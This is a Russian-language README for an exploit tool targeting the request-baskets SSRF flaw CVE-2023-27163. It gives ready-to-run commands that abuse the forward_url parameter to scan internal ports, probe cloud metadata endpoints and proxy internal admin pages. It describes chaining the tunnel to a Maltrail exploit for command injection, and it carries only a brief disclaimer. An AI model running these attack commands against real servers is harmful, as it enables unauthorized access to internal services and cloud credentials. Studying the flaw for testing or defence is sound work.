
Эксплойт SSRF для CVE-2023-27163 в request-baskets, позволяющий сканирование внутренних портов, зондирование метаданных облака и обнаружение служб через вредоносную пересылку корзин.
Я написал этот эксплойт для использования CVE-2023-27163 — уязвимости подделки серверных запросов (SSRF), обнаруженной в request-baskets версии ≤ 1.2.1. Ошибка находится в конечной точке /api/baskets/{name}, где параметр forward_url позволяет злоумышленнику заставить сервер отправлять произвольные HTTP-запросы от его имени.
Эксплойт создаёт вредоносную «корзину», настроенную с forward_url, указывающим на внутреннюю цель. Любой запрос к конечной точке этой корзины пересылается сервером на указанный URL, фактически превращая сервер в SSRF-прокси.
requests (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# Базовая пересылка SSRF на внутренний сервис
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# Сканирование портов внутреннего хоста
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# Зондирование конечных точек облачных метаданных
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# Режим прокси (возвращает тело пересланного ответа)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# Сканирование пользовательского диапазона портов
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
Я создал этот инструмент только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем без явного разрешения.
Этот SSRF-эксплойт может использоваться как начальная точка входа для доступа к внутренним сервисам, которые не доступны напрямую. Я разработал его для совместной работы с Maltrail-v0.53-Exploit — SSRF-туннель позволяет вам обращаться к экземпляру Maltrail, работающему на localhost, и через него запускать инъекцию команд.